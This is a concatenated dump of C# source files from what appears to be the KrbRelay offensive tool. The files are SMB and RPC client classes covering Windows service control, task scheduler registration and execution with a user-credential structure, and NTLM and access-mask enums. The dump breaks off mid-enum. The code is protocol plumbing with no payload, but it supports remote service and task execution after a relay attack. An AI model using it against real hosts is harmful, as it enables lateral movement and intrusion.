/KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/rCloseServiceHandleResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// rCloseServiceHandle Response (opnum 0) 6 | /// 7 | public class rCloseServiceHandleResponse 8 | { 9 | public LPSC_RPC_HANDLE hSCObject; 10 | 11 | public rCloseServiceHandleResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | 15 | parser.BeginStructure(); 16 | hSCObject = new LPSC_RPC_HANDLE(); 17 | parser.ReadStructure(hSCObject); 18 | parser.EndStructure(); 19 | } 20 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/rControlServiceRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// rControlService Request (opnum 01) 7 | /// 8 | public class rControlServiceRequest : IRPCRequest 9 | { 10 | public LPSC_RPC_HANDLE hService; 11 | public uint dwControl; 12 | 13 | public rControlServiceRequest() 14 | { 15 | } 16 | 17 | public byte[] GetBytes() 18 | { 19 | NDRWriter writer = new NDRWriter(); 20 | writer.WriteStructure(hService); 21 | writer.WriteUInt32(dwControl); 22 | return writer.GetBytes(); 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/rControlServiceResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// rControlService Response (opnum 01) 6 | /// 7 | public class rControlServiceResponse 8 | { 9 | public SERVICE_STATUS lpServiceStatus; 10 | 11 | public rControlServiceResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | 15 | parser.BeginStructure(); 16 | lpServiceStatus = new SERVICE_STATUS(); 17 | parser.ReadStructure(lpServiceStatus); 18 | parser.EndStructure(); 19 | } 20 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/rOpenServiceWRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// rOpenServiceW Request (opnum 16) 7 | /// 8 | public class rOpenServiceWRequest : IRPCRequest 9 | { 10 | public LPSC_RPC_HANDLE hSCManager; 11 | public string lpServiceName; 12 | public SERVICE_ENUM dwDesiredAccess; 13 | 14 | public rOpenServiceWRequest() 15 | { 16 | } 17 | 18 | public byte[] GetBytes() 19 | { 20 | NDRWriter writer = new NDRWriter(); 21 | writer.WriteStructure(hSCManager); 22 | writer.WriteUnicodeString(lpServiceName); 23 | writer.WriteUInt32((uint)dwDesiredAccess); 24 | return writer.GetBytes(); 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/rOpenServiceWResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// rOpenServiceW Response (opnum 16) 6 | /// 7 | public class rOpenServiceWResponse 8 | { 9 | public LPSC_RPC_HANDLE lpServiceHandle; 10 | 11 | public rOpenServiceWResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | 15 | parser.BeginStructure(); 16 | lpServiceHandle = new LPSC_RPC_HANDLE(); 17 | parser.ReadStructure(lpServiceHandle); 18 | parser.EndStructure(); 19 | } 20 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/rQueryServiceConfigWRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// rQueryServiceConfigW Request (opnum 17) 7 | /// 8 | public class rQueryServiceConfigWRequest : IRPCRequest 9 | { 10 | public LPSC_RPC_HANDLE hService; 11 | public uint cbBufSize; 12 | 13 | public rQueryServiceConfigWRequest() 14 | { 15 | } 16 | 17 | public byte[] GetBytes() 18 | { 19 | NDRWriter writer = new NDRWriter(); 20 | writer.WriteStructure(hService); 21 | writer.WriteUInt32(cbBufSize); 22 | return writer.GetBytes(); 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/rQueryServiceConfigWResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// rQueryServiceConfigW Response (opnum 17) 6 | /// 7 | public class rQueryServiceConfigWResponse 8 | { 9 | public QUERY_SERVICE_CONFIGW lpServiceConfig; 10 | public uint pcbBytesNeeded; 11 | 12 | public rQueryServiceConfigWResponse(byte[] buffer) 13 | { 14 | NDRParser parser = new NDRParser(buffer); 15 | 16 | parser.BeginStructure(); 17 | lpServiceConfig = new QUERY_SERVICE_CONFIGW(); 18 | parser.ReadStructure(lpServiceConfig); 19 | pcbBytesNeeded = parser.ReadUInt32(); 20 | parser.EndStructure(); 21 | } 22 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/rQueryServiceStatusRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// rQueryServiceStatus Request (opnum 06) 7 | /// 8 | public class rQueryServiceStatusRequest : IRPCRequest 9 | { 10 | public LPSC_RPC_HANDLE hService; 11 | 12 | public rQueryServiceStatusRequest() 13 | { 14 | } 15 | 16 | public byte[] GetBytes() 17 | { 18 | NDRWriter writer = new NDRWriter(); 19 | //writer.WriteEmbeddedStructureFullPointer(null); 20 | writer.WriteStructure(hService); 21 | return writer.GetBytes(); 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/rQueryServiceStatusResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// rQueryServiceStatus Response (opnum 06) 6 | /// 7 | public class rQueryServiceStatusResponse 8 | { 9 | public SERVICE_STATUS lpServiceStatus; 10 | 11 | public rQueryServiceStatusResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | 15 | parser.BeginStructure(); 16 | lpServiceStatus = new SERVICE_STATUS(); 17 | parser.ReadStructure(lpServiceStatus); 18 | parser.EndStructure(); 19 | } 20 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/rStartServiceWRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// rStartServiceW Request (opnum 19) 7 | /// 8 | public class rStartServiceWRequest : IRPCRequest 9 | { 10 | public LPSC_RPC_HANDLE hService; 11 | public uint argc; 12 | public string argv; 13 | 14 | public rStartServiceWRequest() 15 | { 16 | } 17 | 18 | public byte[] GetBytes() 19 | { 20 | NDRWriter writer = new NDRWriter(); 21 | writer.WriteStructure(hService); 22 | writer.WriteUInt32(argc); 23 | writer.WriteUnicodeString(argv); 24 | //writer.WriteEmbeddedStructureFullPointer(argv); 25 | return writer.GetBytes(); 26 | } 27 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/rStartServiceWResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | /// 4 | /// rStartServiceW Response (opnum 19) 5 | /// 6 | public class rStartServiceWResponse 7 | { 8 | //public SERVICE_STATUS lpServiceStatus; 9 | 10 | public rStartServiceWResponse(byte[] buffer) 11 | { 12 | NDRParser parser = new NDRParser(buffer); 13 | 14 | //parser.BeginStructure(); 15 | //lpServiceStatus = new SERVICE_STATUS(); 16 | //parser.ReadStructure(lpServiceStatus); 17 | //parser.EndStructure(); 18 | } 19 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ServerService/NetrRemoteTODRequest.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.Client.Helpers; 9 | using SMBLibrary.RPC; 10 | 11 | /// 12 | /// NetrRemoteTOD Request (Opnum 28) 13 | /// 14 | public class NetrRemoteTODRequest : IRPCRequest 15 | { 16 | public string ServerName; 17 | 18 | public NetrRemoteTODRequest() 19 | { 20 | } 21 | 22 | public byte[] GetBytes() 23 | { 24 | NDRWriter writer = new NDRWriter(); 25 | writer.BeginStructure(); 26 | writer.WriteTopLevelUnicodeStringPointer(ServerName.StartsWith("\\\\") ? ServerName : "\\\\" + ServerName); 27 | writer.EndStructure(); 28 | return writer.GetBytes(); 29 | } 30 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ServerService/NetrRemoteTODResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.RPC; 9 | using SMBLibrary.Services; 10 | 11 | /// 12 | /// NetrRemoteTOD Response (Opnum 28) 13 | /// 14 | public class NetrRemoteTODResponse 15 | { 16 | public NDRTimeOfDayInfo TimeOfDayInfo; 17 | 18 | public NetrRemoteTODResponse(byte[] buffer) 19 | { 20 | NDRParser parser = new NDRParser(buffer); 21 | 22 | parser.BeginStructure(); 23 | parser.ReadEmbeddedStructureFullPointer(ref TimeOfDayInfo); 24 | parser.EndStructure(); 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ServerService/NetrServerStatisticsGetResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.RPC; 9 | using SMBLibrary.Services; 10 | 11 | /// 12 | /// NetrRemoteTOD Response (Opnum 28) 13 | /// 14 | public class NetrServerStatisticsGetResponse 15 | { 16 | public NDRStatServer StatServer; 17 | 18 | public NetrServerStatisticsGetResponse(byte[] buffer) 19 | { 20 | NDRParser parser = new NDRParser(buffer); 21 | parser.BeginStructure(); 22 | parser.ReadEmbeddedStructureFullPointer(ref StatServer); 23 | parser.EndStructure(); 24 | } 25 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/TschService/Enums/TASK_CREATION.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Services 2 | { 3 | public enum TASK_CREATION : ushort 4 | { 5 | TASK_VALIDATE_ONLY = 0x1, 6 | TASK_CREATE = 0x2, 7 | TASK_UPDATE = 0x4, 8 | TASK_CREATE_OR_UPDATE, 9 | TASK_DISABLE = 0x8, 10 | TASK_DONT_ADD_PRINCIPAL_ACE = 0x10, 11 | TASK_IGNORE_REGISTRATION_TRIGGERS = 0x20 12 | } 13 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/TschService/Enums/TASK_LOGON_TYPE.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Services 2 | { 3 | public enum TASK_LOGON_TYPE : ushort 4 | { 5 | TASK_LOGON_NONE = 0, 6 | TASK_LOGON_PASSWORD = 1, 7 | TASK_LOGON_S4U = 2, 8 | TASK_LOGON_INTERACTIVE_TOKEN = 3, 9 | TASK_LOGON_GROUP = 4, 10 | TASK_LOGON_SERVICE_ACCOUNT = 5, 11 | TASK_LOGON_INTERACTIVE_TOKEN_OR_PASSWORD = 6 12 | } 13 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/TschService/Enums/TschServiceOpName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Services 2 | { 3 | public enum TschServiceOpName : ushort 4 | { 5 | SchRpcRegisterTask = 1, 6 | SchRpcRun = 12, 7 | SchRpcDelete = 13, 8 | SchRpcGetLastRunInfo = 16, 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/TschService/Structures/TASK_USER_CRED.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using System; 3 | 4 | namespace SMBLibrary.Services 5 | { 6 | public class TASK_USER_CRED : INDRStructure 7 | { 8 | public string userId; 9 | public string password; 10 | public uint flags; 11 | 12 | public void Read(NDRParser parser) 13 | { 14 | throw new NotImplementedException(); 15 | } 16 | 17 | public void Write(NDRWriter writer) 18 | { 19 | //writer.BeginStructure(); 20 | writer.WriteTopLevelUnicodeStringPointer(userId); 21 | writer.WriteTopLevelUnicodeStringPointer(password); 22 | writer.WriteUInt32(flags); 23 | //writer.EndStructure(); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/TschService/Structures/TASK_XML_ERROR_INFO.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | public class TASK_XML_ERROR_INFO : INDRStructure 6 | { 7 | public uint line; 8 | public uint column; 9 | public string node; 10 | public string value; 11 | 12 | public void Read(NDRParser parser) 13 | { 14 | parser.BeginStructure(); 15 | line = parser.ReadUInt32(); 16 | column = parser.ReadUInt32(); 17 | node = parser.ReadUnicodeString(); 18 | value = parser.ReadUnicodeString(); 19 | parser.EndStructure(); 20 | } 21 | 22 | public void Write(NDRWriter writer) 23 | { 24 | writer.BeginStructure(); 25 | writer.WriteUInt32(line); 26 | writer.WriteUInt32(column); 27 | writer.WriteUnicodeString(node); 28 | writer.WriteUnicodeString(value); 29 | writer.EndStructure(); 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/TschService/TschService.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | /// 6 | /// [MS-TSCH] 7 | /// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch 8 | /// 9 | public class TschService : RemoteService 10 | { 11 | public const string ServicePipeName = @"atsvc"; 12 | public static readonly Guid ServiceInterfaceGuid = new Guid("86D35949-83C9-4044-B424-DB363231FD0C"); 13 | public const int ServiceVersion = 1; 14 | 15 | public override Guid InterfaceGuid 16 | { 17 | get 18 | { 19 | return ServiceInterfaceGuid; 20 | } 21 | } 22 | 23 | public override string PipeName 24 | { 25 | get 26 | { 27 | return ServicePipeName; 28 | } 29 | } 30 | 31 | public override byte[] GetResponseBytes(ushort opNum, byte[] requestBytes) 32 | { 33 | throw new NotImplementedException(); 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/TschService/schRpcDeleteRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// schRpcDelete Request (opnum 13) 7 | /// 8 | public class schRpcDeleteRequest : IRPCRequest 9 | { 10 | public SamprHandle SamprHandle; 11 | 12 | public schRpcDeleteRequest() 13 | { 14 | } 15 | 16 | public byte[] GetBytes() 17 | { 18 | NDRWriter writer = new NDRWriter(); 19 | writer.WriteStructure(SamprHandle); 20 | return writer.GetBytes(); 21 | } 22 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/TschService/schRpcDeleteResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | /// 4 | /// schRpcDelete Response (opnum 01) 5 | /// 6 | public class schRpcDeleteResponse 7 | { 8 | //public SamprHandle SamrHandle; 9 | 10 | public schRpcDeleteResponse(byte[] buffer) 11 | { 12 | NDRParser parser = new NDRParser(buffer); 13 | //SamrHandle = new SamprHandle(); 14 | //parser.ReadStructure(SamrHandle); 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/TschService/schRpcGetLastRunInfoRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// schRpcGetLastRunInfo Request (opnum 01) 7 | /// 8 | public class schRpcGetLastRunInfoRequest : IRPCRequest 9 | { 10 | public SamprHandle SamprHandle; 11 | 12 | public schRpcGetLastRunInfoRequest() 13 | { 14 | } 15 | 16 | public byte[] GetBytes() 17 | { 18 | NDRWriter writer = new NDRWriter(); 19 | writer.WriteStructure(SamprHandle); 20 | return writer.GetBytes(); 21 | } 22 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/TschService/schRpcGetLastRunInfoResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | /// 4 | /// schRpcGetLastRunInfo Response (opnum 01) 5 | /// 6 | public class schRpcGetLastRunInfoResponse 7 | { 8 | //public SamprHandle SamrHandle; 9 | 10 | public schRpcGetLastRunInfoResponse(byte[] buffer) 11 | { 12 | NDRParser parser = new NDRParser(buffer); 13 | //SamrHandle = new SamprHandle(); 14 | //parser.ReadStructure(SamrHandle); 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/TschService/schRpcRegisterTaskRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// SchRpcRegisterTask Request (opnum 01) 7 | /// 8 | public class schRpcRegisterTaskRequest : IRPCRequest 9 | { 10 | public string path; 11 | public string xml; 12 | public TASK_CREATION flags; 13 | public string sddl; 14 | public TASK_LOGON_TYPE logonType; 15 | public uint cCreds; 16 | public TASK_USER_CRED pCreds; 17 | 18 | public schRpcRegisterTaskRequest() 19 | { 20 | } 21 | 22 | public byte[] GetBytes() 23 | { 24 | NDRWriter writer = new NDRWriter(); 25 | writer.WriteTopLevelUnicodeStringPointer(path); 26 | writer.WriteTopLevelUnicodeStringPointer(xml); 27 | writer.WriteUInt32((uint)flags); 28 | writer.WriteTopLevelUnicodeStringPointer(sddl); 29 | writer.WriteUInt32((uint)logonType); 30 | writer.WriteUInt32(cCreds); 31 | writer.WriteStructure(pCreds); 32 | return writer.GetBytes(); 33 | } 34 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/TschService/schRpcRegisterTaskResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// SchRpcRegisterTask Response (opnum 01) 6 | /// 7 | public class schRpcRegisterTaskResponse 8 | { 9 | public string ActualPath; 10 | public TASK_XML_ERROR_INFO ErrorInfo; 11 | 12 | public schRpcRegisterTaskResponse(byte[] buffer) 13 | { 14 | NDRParser parser = new NDRParser(buffer); 15 | ActualPath = parser.ReadUnicodeString(); 16 | ErrorInfo = new TASK_XML_ERROR_INFO(); 17 | parser.ReadStructure(ErrorInfo); 18 | } 19 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/TschService/schRpcRunRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// schRpcRun Request (opnum 01) 7 | /// 8 | public class schRpcRunRequest : IRPCRequest 9 | { 10 | public SamprHandle SamprHandle; 11 | 12 | public schRpcRunRequest() 13 | { 14 | } 15 | 16 | public byte[] GetBytes() 17 | { 18 | NDRWriter writer = new NDRWriter(); 19 | writer.WriteStructure(SamprHandle); 20 | return writer.GetBytes(); 21 | } 22 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/TschService/schRpcRunResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | /// 4 | /// schRpcRun Response (opnum 01) 5 | /// 6 | public class schRpcRunResponse 7 | { 8 | //public SamprHandle SamrHandle; 9 | 10 | public schRpcRunResponse(byte[] buffer) 11 | { 12 | NDRParser parser = new NDRParser(buffer); 13 | //SamrHandle = new SamprHandle(); 14 | //parser.ReadStructure(SamrHandle); 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Authentication/GSSAPI/Enums/GSSAttributeName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Authentication.GSSAPI 2 | { 3 | public enum GSSAttributeName 4 | { 5 | AccessToken, 6 | DomainName, 7 | IsAnonymous, 8 | 9 | /// 10 | /// Permit access to this user via the guest user account if the normal authentication process fails. 11 | /// 12 | IsGuest, 13 | 14 | MachineName, 15 | OSVersion, 16 | SessionKey, 17 | UserName, 18 | } 19 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Authentication/NTLM/Structures/Enums/AVPairKey.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Authentication.NTLM 2 | { 3 | public enum AVPairKey : ushort 4 | { 5 | EOL = 0x0000, 6 | NbComputerName = 0x0001, // Unicode 7 | NbDomainName = 0x0002, // Unicode 8 | DnsComputerName = 0x0003, // Unicode 9 | DnsDomainName = 0x0004, // Unicode 10 | DnsTreeName = 0x0005, // Unicode 11 | Flags = 0x0006, // UInt32 12 | Timestamp = 0x0006, // Filetime 13 | SingleHost = 0x0008, // platform-specific BLOB 14 | TargetName = 0x0009, // Unicode 15 | ChannelBindings = 0x000A, // MD5 Hash 16 | } 17 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Authentication/NTLM/Structures/Enums/MessageTypeName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Authentication.NTLM 2 | { 3 | public enum MessageTypeName : uint 4 | { 5 | Negotiate = 0x01, 6 | Challenge = 0x02, 7 | Authenticate = 0x03, 8 | } 9 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Client/Enums/AuthenticationMethod.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Client 2 | { 3 | public enum AuthenticationMethod 4 | { 5 | NTLMv1, 6 | NTLMv1ExtendedSessionSecurity, 7 | NTLMv2, 8 | } 9 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Client/ISMBClient.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017-2021 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.Services; 9 | using System.Collections.Generic; 10 | using System.Net; 11 | 12 | namespace SMBLibrary.Client 13 | { 14 | public interface ISMBClient 15 | { 16 | bool Connect(string serverName, SMBTransportType transport); 17 | 18 | bool Connect(IPAddress serverAddress, SMBTransportType transport); 19 | 20 | void Disconnect(); 21 | 22 | byte[] Login(byte[] ticket, out bool successful); 23 | 24 | NTStatus Logoff(); 25 | 26 | List ListShares(out NTStatus status); 27 | 28 | ISMBFileStore TreeConnect(string shareName, out NTStatus status); 29 | 30 | uint MaxReadSize 31 | { 32 | get; 33 | } 34 | 35 | uint MaxWriteSize 36 | { 37 | get; 38 | } 39 | } 40 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Client/ISMBFileStore.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.Client 9 | { 10 | public interface ISMBFileStore : INTFileStore 11 | { 12 | NTStatus Disconnect(); 13 | 14 | uint MaxReadSize 15 | { 16 | get; 17 | } 18 | 19 | uint MaxWriteSize 20 | { 21 | get; 22 | } 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/DFS/DfsReferralEntry.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary 9 | { 10 | public abstract class DfsReferralEntry 11 | { 12 | } 13 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Enums/SMBTransportType.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary 2 | { 3 | public enum SMBTransportType 4 | { 5 | NetBiosOverTCP, // Port 139 6 | DirectTCPTransport, // Port 445 7 | } 8 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Enums/Win32Error.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary 2 | { 3 | // All Win32 error codes MUST be in the range 0x0000 to 0xFFFF 4 | public enum Win32Error : ushort 5 | { 6 | ERROR_SUCCESS = 0x0000, 7 | ERROR_ACCESS_DENIED = 0x0005, 8 | ERROR_SHARING_VIOLATION = 0x0020, 9 | ERROR_NOT_SUPPORTED = 0x0032, 10 | ERROR_INVALID_PARAMETER = 0x0057, 11 | ERROR_DISK_FULL = 0x0070, 12 | ERROR_INVALID_NAME = 0x007B, 13 | ERROR_INVALID_LEVEL = 0x007C, 14 | ERROR_DIR_NOT_EMPTY = 0x0091, 15 | ERROR_BAD_PATHNAME = 0x00A1, 16 | ERROR_ALREADY_EXISTS = 0x00B7, 17 | ERROR_NO_TOKEN = 0x03F0, 18 | ERROR_LOGON_FAILURE = 0x052E, 19 | ERROR_ACCOUNT_RESTRICTION = 0x052F, 20 | ERROR_INVALID_LOGON_HOURS = 0x0530, 21 | ERROR_INVALID_WORKSTATION = 0x0531, 22 | ERROR_PASSWORD_EXPIRED = 0x0532, 23 | ERROR_ACCOUNT_DISABLED = 0x0533, 24 | ERROR_LOGON_TYPE_NOT_GRANTED = 0x0569, 25 | ERROR_ACCOUNT_EXPIRED = 0x0701, 26 | ERROR_PASSWORD_MUST_CHANGE = 0x0773, 27 | ERROR_ACCOUNT_LOCKED_OUT = 0x0775, 28 | NERR_NetNameNotFound = 0x0906, 29 | } 30 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Exceptions/UnsupportedInformationLevelException.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using System; 9 | 10 | namespace SMBLibrary 11 | { 12 | public class UnsupportedInformationLevelException : Exception 13 | { 14 | public UnsupportedInformationLevelException() : base() 15 | { 16 | } 17 | 18 | public UnsupportedInformationLevelException(string message) : base(message) 19 | { 20 | } 21 | } 22 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Enums/AccessMask/AccessMask.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary 4 | { 5 | /// 6 | /// [MS-DTYP] 2.4.3 - ACCESS_MASK 7 | /// 8 | [Flags] 9 | public enum AccessMask : uint 10 | { 11 | // The bits in positions 16 through 31 are object specific. 12 | DELETE = 0x00010000, 13 | 14 | READ_CONTROL = 0x00020000, 15 | WRITE_DAC = 0x00040000, 16 | WRITE_OWNER = 0x00080000, 17 | SYNCHRONIZE = 0x00100000, 18 | ACCESS_SYSTEM_SECURITY = 0x01000000, 19 | MAXIMUM_ALLOWED = 0x02000000, 20 | GENERIC_ALL = 0x10000000, 21 | GENERIC_EXECUTE = 0x20000000, 22 | GENERIC_WRITE = 0x40000000, 23 | GENERIC_READ = 0x80000000, 24 | } 25 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/NTFileStore/Enums/AccessMask/DirectoryAccessMask.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary 4 | { 5 | /// 6 | /// [MS-SMB] 2.2.1.4.2 - Directory_Access_Mask 7 | /// [MS-SMB2] 2.2.13.1.2 - Directory_Access_Mask 8 | /// 9 | [Flags] 10 | public enum DirectoryAccessMask : uint 11 | { 12 | FILE_LIST_DIRECTORY = 0x00000001, 13 | FILE_ADD_FILE = 0x00000002, 14 | FILE_ADD_SUBDIRECTORY = 0x00000004, 15 | FILE_READ_EA = 0x00000008, 16 | FILE_WRITE_EA = 0x00000010, 17 | FILE_TRAVERSE = 0x00000020, 18 | FILE_DELETE_CHILD = 0x00000040, 19 | FILE_READ_ATTRIBUTES = 0x00000080, 20 | FILE_WRITE_ATTRIBUTES = 0x00000100, 21 | DELETE = 0x00010000, 22 | READ_CONTROL = 0x00020000, 23 | WRITE_DAC = 0x00040000, 24 | WRITE_OWNER = 0x00080000, 25 | SYNCHRONIZE = 0x00100000, 26 | ACCESS_SYSTEM_SECURITY = 0x01000000, 27 | 